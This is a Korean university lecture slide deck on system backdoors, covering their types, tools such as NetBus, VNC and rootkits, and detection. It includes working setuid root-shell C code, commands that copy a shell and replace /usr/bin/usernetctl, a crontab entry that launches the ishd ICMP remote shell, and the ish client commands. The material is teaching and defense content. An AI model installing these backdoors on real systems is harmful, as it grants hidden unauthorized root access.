시스템 보안 백 도 어 학번:20032319 이름: 김 준 일.

Slides:



Advertisements
Similar presentations
SPARCS 10 이 가 영 기본 UNIX 명령어. 일단 로그인 ! Linux login 시 계정을 입력하거나 root 를 입력 Root -> # 일반 사용자 -> $ 패스워드 : echo 기능을 꺼서 볼 수 없다. 대소문자 구분 패스워드 처음 설정 시 : ~$ passwd.
Advertisements

AMAN2002 를 이용한 TCP/IP 프로토콜 분석 및 네트워크 프로그래밍 www. nms4you.com 1 AMAN2002 추가 기능 실습 Chapter 13:
10 터널링.
악성 코드 정보 보안 개론 6장.
Basic of Buffer Over Flow
Chapter 03. 네트워크 보안 : 길을 지배하려는 자에 대한 저항
HACKING 김진수 소준형 유병화.
2016 ITA 1월 강의 C Programming -4일차- 포인터배열 및 이중포인터 정대진 ( )
(개정판) 뇌를 자극하는 Red Hat Fedora 리눅스 서버 & 네트워크
7장. TCP와 UDP.
제 11장 컴퓨터 보안.
Understanding of Socket and File I/O
6 레이스 컨디션.
웹 해킹 기초와 실습.
Chapter 6. 리눅스 백도어 황 선 환.
Linux University of Seoul Computer Science Park Jong wook
제목 CHAPTER 09. 정보 보안 선택이 아닌 필수_정보 보안 기술과 정보 윤리.
22 장 프로세스간 전달 : UDP와 TCP 22.1 프로세스간 전달 22.2 사용자 데이터그램 프로토콜
TCP/IP Socket Cover Slide 조태문.
개발 환경 개발 환경 개요 PXA270과 타겟 시스템 툴체인 환경 구축 JTAG 유틸리티 미니컴 Make 유틸리티
NFS, FTP coearth, george.
Network Security - Wired Sniffing 실습
Chapter 08. 네트워크 관리.
Dynamic Host Configuration Protocol
Minicom,tftp,nfs설정,vnc설정
 13장. 배시쉘 프로그래밍.
네트워크 보안 TCP/IP 네트워크통신 개념.
Chapter 02 네트워크에 대한 이해.
TCP Client/Server Program
Network Lab. Seoung Hyeon, Lee
6 프로세스 생성과 실행.
버퍼 오버플로우에 대한 대책과 발전된 공격 안전한 함수 사용 버퍼 오버플로우에 취약한 함수 사용하지 않기
2. Linux Installation Target Embedded System은 리눅스 환경을 사용한다. 이 장에서는 리눅스 설치부터, 각 설정의 의미들에 대해 이야기 한다.
Development Environment of Embedded System : part 1
인터넷 주소 변환 School of Electronics and Information. Kyung Hee University.
NAC Test 시나리오 내부단말 통제 보안 BMT 시나리오
Chapter 06 스니핑.
11. 해킹기술 (2) - hacking & security -
1. SNMP SNMP(Simple Network Management Protocol)은 네트워크의 중앙집중화된 관리를 목적으로 만들어졌으며, 현재까지 버전 3까지 세가지 버전이 만들어졌다. 각 버전의 차이는 대부분 보안상의 문제에 의한 것이다. SNMP 발전 과정 버전.
리눅스 명령어 실습 임베디드 시스템 I.
Chapter 05 목록화.
Network Security Footprint & Scan.
침입탐지시스템과 정보보안 안
정보보호 실습 #2 네트워크 스캐닝 Choong Seon Hong Networking Lab.
세미나.. NETWORK??!! 저자 : 장경칩 도전하라 창조의 세계로(SINCE 1992) - 장경칩.
Department of Computer Engineering
Department of Computer Engineering
3부 해킹 전 정보 획득 Chapter 6. 풋프린팅과 스캔
UniSQL/X 실습과제 (1) ■ 실습 기간: ~
시스템 운영계획 통신 케이블 제작 엑세스 포인트, 스위치, 라우터 설치 및 환경구성
DoS와 DDoS 공격 DOS와 DDOS 공격의 이해 DOS 공격의 이해 DDOS 공격의 이해 한빛미디어(주)
P2P를 연결을 위한 여러기술 휴즈플로우 이재동 예전에 간략하게 크로스 플랫폼 p2p를 이야기한적이 있었는데요
CGI (Common Gateway Interface)
Information Security - Wired Sniffing 실습
인터넷보안 실습 2012년 1학기.
Transmission Control Protocol (TCP)
TCP/IP 네트워크 구조 TCP/IP 개요 TCP/IP 프로토콜 한빛미디어(주).
운영체제 RaspberryPi Sejin Oh.
8 네트워크 계층 프로토콜 학습 목표 IPv6의 필요성과 헤더 구조를 이해한다. 이동 IP 프로토콜의 터널링 원리를 이해한다.
바이러스와 악성코드.
Unix 방문(접속하여 로그인) 하기 수퍼 유저 되어 사용자 계정 만들기 Unix의 아파치 웹 서버에 홈페이지 등록하기
TCP/IP 인터네트워킹 INTERNETWORKING with TCP/IP <vol
시스템 인터페이스 Lab#5 쉘 실습.
Execution with Unnecessary Privileges
Information Security - Network Scanning.
실습과제 1번 생성된 파일 basic.txt를 프로젝트 폴더에서 메모장으로 열고 내용을 확인
argc, argv 의 사용방법 #include <stdio.h>
Ethereal 컴퓨터 통신망.
한국 휴렛팩커드/고객지원사업본부/IT 기술사업부 박기영
Department of Computer Engineering
Presentation transcript:

시스템 보안 백 도 어 학번:20032319 이름: 김 준 일

차례 백도어의 특징 및 의미 백도어의 종류 이해 운영체제별 백도어의 종류 이해 및 이용 백도어 탐지와 제거 보안대책 수립과 수행

백도어의 특징 및 의미 백도어의 특징 및 의미 1983년 Ken Thompson이 최초로 사용한 용어 시스템 관리자나 개발자에 의해 의도적으로 남겨진 시스템의 보안 허점으로 정상적인 절차를 우회하여 시스템에 출입할 수 있도록 임시로 만들어둔 비밀 출입문. 보안상 허점을 역이용하여 크래커들이 시스템에 침입한 후 자신이 원할 때 재침입하거나, 권한 획득을 쉽게 하기 위하여 만들어 놓은 일종의 비밀 통로를 의미. 트랩도어(trap door), administrative hook이라 부름.

백도어의 특징 및 의미 백도어의 특징 및 의미 시스템 관리자의 보안 관리를 우회 발견되지 않고 시스템으로 침입가능 패스워드 갱신 등의 조치에도 무관 발견되지 않고 시스템으로 침입가능 로그를 남기지 않고 침입(대부분 온라인으로 침입) 시스템 침입 시간이 짧음

백도어의 특징 및 의미 트로이 목마의 특징 네트워크를 통한 원격 조정 가능. 자기 복제 능력 없는 프로그램의 일종. 다른 정상프로그램에 숨겨져 동작. 사용자 정보를 몰래 빼냄. 최신 백신 프로그램으로 진단/치료 가능

백도어의 특징 및 의미 트로이 목마 특정 사용자 또는 프로그램이 실행에 의한 수동적인 방법에 의존한 것, 이는 사용자의 직간접적인 도움을 통해서 설치되거나 Bind(속박)되어진 프로그램이 실행되어 설치. 백도어 프로그래머나 크래커가 능동적으로 만든 것. 예전에는 관리의 목적으로 사용하기도 하였으나, 대부분 크래커들에 의해 권한이 획득된 후, 해당시스템에 추후 접속을 용이하게 하기 위하여 서비스 데몬 등을 수정하여 사용

백도어의 종류와 이해 백도어의 종류와 이해 1.로컬 백도어 2.원격 백도어 3.원격 GUI 백도어 4.패스워드 크래킹 백도어 5.시스템 설정 변경 백도어 6.트로이 목마형 백도어 7.거짓 업그래이드

백도어의 종류와 이해 1. 로컬 백도어 서버의 셸을 얻어낸 뒤 관리자로 권한 상승을 할 때 사용하는 백도어. 서버의 셸을 얻어낸 뒤 관리자로 권한 상승을 할 때 사용하는 백도어. 시스템 로그인한 뒤 관리자로 권한을 상승 시키기 위한 백도어로 공격자는 일반 계정이 하나 필요

백도어의 종류와 이해 SetUID형 로컬 백도어 Root상태 #cp /bin/ksh /home/일반계정/hack #chmod 4755 /home/일반계정/hack #ls –l /home/일반계정/hack 일반계정사용자는 자신의 계정으로 로깅후 훔친 shell(일종의 백도어)을 이용하여 언제라도 Root이 될수있다. (하지만 사용하는 시스템에따라 root 권한 획득되지 못한 경우가 많다.)

백도어의 종류와 이해 SetUID형 로컬 백도어 #include <stdio.h> main( ) { system(“/bin/sh”); } SetUID 대표적 공격 버퍼 오버플로우 공격이며 이러한 공격 프로그램은 SetUID에 부여된 시스템 명령중 잘사용하지 않는 명령을 SetUID프로그램으로 대체해서 숨겨둠.(Find명령으로 검사)

백도어의 종류와 이해 2.원격 백도어 원격에서 관리자로 계정과 패스워드를 입력하고 로그인한 것처럼 바로 시스템의 관리자 계정을 사용할 수 있는 백도어. (시스템 계정 필요없음) 네트워크에 자신의 포트를 항상 열어놓는 경우가 많음. 일종의 서비스를 제공하는 데몬처럼 동작하는 것임. 프로토콜의 변형된 형태를 이용하는 발전된 형태의 백도어는 TCP, UDP, ICMP 프로토콜 중 아주 일부분을 효과적으로 이용

백도어의 종류와 이해 3.원격 GUI 백도어 백도어 크기가 크고, 많은 데이터를 전송해 노출이 쉬움.(실제로 많이 존재하지 않음) 주로 윈도우용 원격 관리용 툴인 경우가 많음. 약용될 소지는 있음. 원격 관리 툴의 종류(vnc, Radmin, pcAcywhere, Dameware,등)

백도어의 종류와 이해 4.패스워드 크래킹 백도어 인증 회피 백도어 아님. 원격지 공격자에게 인증에 필요한 패스워드를 보내줌. 키보드를 누르는 정보를 전송 Passwd와 같은 특정 문자열 뒤의 값을 전송 유닉스의 경우 passwd파일의 정보를 전송 침입자들은 패스워드 크래킹을 사용 취약한 패스워드를 어려운 패스워드로 바꿈.

백도어의 종류와 이해 해커가 원하는 대로 시스템의 설정을 변경 유닉스 프로그램 스케줄러로 사용되는 cron 데몬을 이용. 5. 시스템 설정 변경 백도어 해커가 원하는 대로 시스템의 설정을 변경 유닉스 프로그램 스케줄러로 사용되는 cron 데몬을 이용. 공격자는 백도어 쉘 프로그램을 cronjob에 추가 하여 관리자가 접속하지않는 새벽시간에 구동. Cronjob에서 합법적인 프로그램으로 가장.

백도어의 종류와 이해 시스템 설정 변경 백도어 Cron데몬 vi/etc/crontab 17 * * * * root run-parts --report /etc/cron_hourly 0 4 * * * ./ishd –i 65000 0 5 * * * pkill –U root ishd

백도어의 종류와 이해 6. 트로이 목마형 백도어 자기복제없음, 사용자 정보유출일으키는 악성 프로그램의 일종 백도어 목적으로 만들어진 프로그램이 아닌데도 백도어로 동작하는 경우. 응용 프로그램에 섞여 있어 원래 목적의 프로그램이 정상적으로 실행되면 동시에 백도어도 설치됨.

백도어의 종류와 이해 7. 거짓 업그래이드 시스템을 패치/업그레이드 할 때 잘못된 파일을 설치하는 경우. 원하지 않은 업그레이드를 강제로 하는 경우. 성인 사이트 접속 시 사용자의 시스템이 통제 할 수 없는 상태에서 여러 가지 프로그램이 설치 되는 경우

운영체제별 백도어의 종류 이해 및 이용 운영체제별 백도어의 종류 이해 및 이용 윈도우 Joiner 프로그램을 이용하여 기존의 프로그램 파일과 BackDoor를 혼합하여 만듬. 1.윈도우용 원격 관리툴(GUI 백도어):서버 관리 목적,패스워드를 알면 쉽게 사용가능해서 악용의 위험도 큼). 2.백오리피스(back orifice):유명하고 매우 강력함,현재 오픈 소스형식으로 개발. 3.NetBus:TCP연결만 지원,메뉴를 통해 편리하게 원격으로 조종, 실제로 가장 많이 설치된 백도어,백오리피스와 같이 클라이언트 서버 형식.(유사백도어:스쿨버스,서브세븐) 4.Beast:현제 방화벽 또는 사설Ipfmf 사용하는 경우가 많아 reverse 형태의 백도로 변화,은닉의 기능.

운영체제별 백도어의 종류 이해 및 이용 운영체제별 백도어의 종류 이해 및 이용 유닉스/리룩스 공격자가 서버데몬의 취약점을 찾아 권한을 빼앗게되는 경우 데몬이 ROOT이었을때 ROOT권한을 같게 되고, nobody로 운영 되고 있었을땐 nobody권한만 같게됨. 1.ICMP 백도어:Beast와 같이 방화벽을 우회하는 백도어, 방화벽은 내부사용자의 ping사용을 감안, 들어오는 echo request 패킷에 대한 요청은 막지만 나가는 패킷은 막지않는다 따라 들어오는 echo reply에 대해서도 막지 않는것을 이용한 백도어. 2.cronjob 백도어:같은 작업을 주기적으로 반복할수있도록 처리해주는 데몬,작업부여후 시간을 정해 구동

운영체제별 백도어의 종류 이해 및 이용 BackDoor 프로그램(리눅스) Rootkit Backdoor와 Trojan Horse 프로그램 패키지. 1998년 11월 기능이 보강된 리눅스용 Rootkit 4 발표. 원격접근, 내부 사용흔적 제거, 관리자 권한 획득 등.

운영체제별 백도어의 종류 이해 및 이용 BackDoor 프로그램(윈도우) VNC (Virtual Network Computing) 원격 관리 프로그램 접속 패스워드 설정 가능 툴 자체의 취약점이 있어 패스워드 노출가능

운영체제별 백도어의 종류 이해 및 이용 TCP 3-way handshaking 모든 과정이 성공적으로 끝나야 세션이 이루어지고 서버와 클라이언트가 통신을 하게 됨 서버 클라이언트 Syn Syn + Ack Ack

운영체제별 백도어의 종류 이해 및 이용 AckCmd 공격 방식 . 공격대상 서버 클라이언트 Ack Ack Ack Ack 공격자 출발지포트 : 공격자 시스템의 80번 포트 목적지포트 : 임의의 포트(1020) 목적지포트 : 공격자 시스템의 80번 포트 출발지포트 : 임의의 포트(1020) Ack Ack 공격자

운영체제별 백도어의 종류 이해 및 이용 VNC 설치 http://www.realvnc.com/cgi-bin/download.cgi

운영체제별 백도어의 종류 이해 및 이용 VNC 설치

운영체제별 백도어의 종류 이해 및 이용 VNC 설치

운영체제별 백도어의 종류 이해 및 이용 VNC 설치

운영체제별 백도어의 종류 이해 및 이용 VNC 서버 접속 (웹브라우저) VNC 서버주소

운영체제별 백도어의 종류 이해 및 이용 VNC 서버 접속 (웹브라우저)

운영체제별 백도어의 종류 이해 및 이용 VNC 서버 접속 (웹브라우저)

운영체제별 백도어의 종류 이해 및 이용 NetBus – 파일구성

운영체제별 백도어의 종류 이해 및 이용 NetBus

운영체제별 백도어의 종류 이해 및 이용 NetBus Host name /IP : 접속할 타겟 시스템의 IP 주소를 입력 Port : 타겟 시스템의 포트 번호를 입력 Start program : 실행하고자 하는 프로그램의 절대경로를 입력 Screendump : 서버 시스템의 현재 화면을 캡처 Active Wnds : 현재 사용중인 프로세스를 보고, Kill 할 수 있다 Listen : 타겟 시스템의 키 스트로크를 저장 Server setup : 서버의 설정을 바꿔서 아무나 접속하지 못하게 한다 File manager : 서버내의 파일 열람 , 다운로드, 업로드, 삭제가 가능 Open CD-ROM : 서버의 시디롬을 여닫을 수 있다. Swap mouse : 마우스의 오른족 버튼과 왼쪽 버튼의 기능을 바꾼다 Exit Windows : 서버를 리부팅, 로그아웃, 끌 수 있다. Sound system : 서버의 볼륨을 조절할 수 있고, 녹음도 할 수 있다. Control mouse : 클라이언트 측의 마우스포인터가 움직이는 대로 서버 의 마우스를 조정한다. Go to URL : 특정 사이트의 URL을 열어준다 Key manager : 서버의 키보드 관련 사항을 열어준다.

운영체제별 백도어의 종류 이해 및 이용 리눅스 BackDoor 로컬 백도어 - SetUID형    #include <stdio.h>    main (int argc, char *argv[]){         char exec[100];            setuid (0);         setgid (0);         sprintf (exec, "%s 2>/dev/null ", argv[1]);         system (exec);    }

운영체제별 백도어의 종류 이해 및 이용 로컬 백도어 - SetUID형 설치 SetUID가 주어진 정상적인 파일과 교체 find / -perm 4775 교체할 파일의 인자 값 없이 실행 시 출력형태를 BackDoor에 추가. 파일을 교체함. cp ./backdoor /usr/bin/usernetctl

운영체제별 백도어의 종류 이해 및 이용 로컬 백도어 - SetUID

운영체제별 백도어의 종류 이해 및 이용 ICMP 원격 셸 백도어 많은 침입차단시스템들이 외부로부터 내부 시스템에 대한 ping을 허락함. 침입자는 ping ICMP 패킷에 데이터를 추가하여 ping을 하고 있는 시스템과 셸을 제공받을 수 있도록 함. 시스템 관리자는 다량의 ping 패킷들을 발견하겠지만 패킷 속의 데이터를 보지 않는 이상 침입 사실을 알 수 없음.

운영체제별 백도어의 종류 이해 및 이용 ICMP 원격 셸 백도어 ICMP 서버 구동 ./ishd –i 65000 –t 0 –p 1024

운영체제별 백도어의 종류 이해 및 이용 ICMP 원격 셸 백도어 ICMP 클라이언트를 이용한 접속 ./ish –i 65000 –t 0 –p 1024 192.168.68.2

백도어 탐지와 제거 백도어의 탐지와 대응책 동작중인 프로세스 확인하기 열린 포트 확인 SetUID 파일검사 파일 시스템 무결성 점검 바이러스 및 백도어 탐지툴 이용 로그분석

백도어 탐지와 제거 BackDoor 탐지 / 대책 SetUID 바이러스 및 백도어 탐지 툴 이용 윈도우 시스템은 해당 없음 유닉스(리눅스) 시스템에서는 로컬 백도어로 강력한 기능을 함. 주기적으로 추가/변경 사항을 체크해야 함. 바이러스 및 백도어 탐지 툴 이용 가장 편리한 방법 윈도우용 탐지 툴은 많으나 유닉스용은 많이 없어 수동으로 해야 함.

백도어 탐지와 제거 무결성 검사 로그 분석 시스템에 어떤 변화가 일어나는지 테스트. MD5 해시 기법 많이 사용. 시스템에 어떤 변화가 일어나는지 테스트. MD5 해시 기법 많이 사용. 주기적으로 주요 파일의 MD5값을 수집하여 관리자의 변경이나 시스템 운영상 변경이 아닌 변경이 있는지를 체크함. 로그 분석 시스템에 남아 있는 흔적을 분석. 다양한 로그 분석 방법이 있어 Cyber Forensic 이라는 하나의 분야로 정착.

백도어 탐지와 제거 열린 포트 확인 C:\at>pslist

백도어 탐지와 제거 열린 포트 확인 12345 : NetBus port C:\at>netstat -na

백도어 탐지와 제거 열린 포트 확인 C:\at>fport 각 port별 응용프로그램 확인 가능

백도어 탐지와 제거 열린 포트 확인 C:\at>promiscdetect

백도어 탐지와 제거 열린 포트 확인 C:\at>promiscdetect 스니퍼가 설치되어 있을 경우 Promiscuous 모드로 변경되어 있을 수 있다.

백도어 탐지와 제거 SetUID 파일 검사 Find / -perm +4000

백도어 탐지와 제거 윈도우용 탐지 툴 유닉스(리눅스)용 탐지 툴 다잡아(AD-Spider) http://www.ad-spider.com/ The Cleaner http://www.moosoft.com/TheCleaner/Download 유닉스(리눅스)용 탐지 툴 Chkrootkit http://www.chkrootkit.org/download/

백도어 탐지와 제거 VNC NetBus [제어판] -> [프로그램 추가/삭제] Windows폴더에 Patch.exe 삭제 레지스트리 HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run에 등록된 키 값 삭제

보안대책 수립과 수행 로그인 계정 / 패스워드 확인 OS(windows) 서비스 팩 확인 공유폴더 확인 시작 프로그램 확인 최신 백신 엔진 유지 네트워크 연결 상태 확인 프로세스 확인 스팸 메일/미확인 자 메일 열지 않기 P2P 프로그램 사용 안하기 정품 프로그램 사용하기

END 수고하셨습니다 .